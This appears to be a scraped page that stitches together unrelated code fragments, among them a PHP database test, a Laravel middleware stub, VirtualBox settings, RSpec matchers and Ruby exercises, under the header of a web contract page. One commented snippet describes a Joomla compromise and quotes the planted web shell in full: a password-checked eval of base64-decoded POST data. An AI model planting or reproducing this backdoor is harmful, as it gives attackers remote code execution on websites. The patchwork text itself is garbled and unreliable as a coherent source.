The popular open-source contract for web professionals by Stuff & Nonsense
- Originally published: 23rd December 2008
- Revised date: March 15th 2016
- Original post
/opt/plesk/php/7.1/bin/php /usr/lib64/plesk-9.0/composer.phar install |
namespace App\Http\Middleware; | |
use Illuminate\Support\Facades\Log; | |
class LogAfterRequest { | |
public function handle($request, \Closure $next) | |
{ | |
return $next($request); | |
} |
<?php | |
# Fill our vars and run on cli | |
# $ php -f db-test.php | |
$dbname = 'dbname'; | |
$dbuser = 'dbuser'; | |
$dbpass = 'dbpass'; | |
$dbhost = 'dbhost'; | |
$connect = mysqli_connect($dbhost, $dbuser, $dbpass) or die("Unable to Connect to '$dbhost'"); |
/** | |
* WP Video Playlists Plugin Main.js | |
* @version 0.3.0 | |
* @param {window} w | |
* @param {jQuery} $ | |
*/ | |
(function(w, $) { | |
var setup = function setup() |
# The hack places the following file in administrator/components/com_joomlaupdate/config.php: | |
# | |
# <?php | |
# echo"trest";error_reporting(0); | |
# if(isset($_POST['com']) && md5($_POST['com']) == '66d18dc9cbd1b87d4460a2ce37d8e835' && isset($_POST['content'])) $kk = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($kk)); | |
# echo"abrval"; | |
# ?> | |
# | |
# This creates many files of a similar pattern throughout the Joomla install, e.g. | |
# |
groups="/" | |
ostype="Red Hat (64 bit)" | |
UUID="37ee2d6c-3883-40d7-a1aa-62d3319d7c7f" | |
CfgFile="/home/stuart/VirtualBox VMs/teamwildoutfitters.com/teamwildoutfitters.com.vbox" | |
SnapFldr="/home/stuart/VirtualBox VMs/teamwildoutfitters.com/Snapshots" | |
LogFldr="/home/stuart/VirtualBox VMs/teamwildoutfitters.com/Logs" | |
hardwareuuid="37ee2d6c-3883-40d7-a1aa-62d3319d7c7f" | |
memory=1024 | |
pagefusion="off" | |
vram=8 |
#Model | |
@user.should have(1).error_on(:username) # Checks whether there is an error in username | |
@user.errors[:username].should include("can't be blank") # check for the error message | |
#Rendering | |
response.should render_template(:index) | |
#Redirecting | |
response.should redirect_to(movies_path) |
#!/usr/bin/env ruby | |
# Project 3.9 | |
module Enumerable | |
def each_with_flattening | |
flattened = self.flatten | |
flattened.each do |x| | |
yield x | |
end |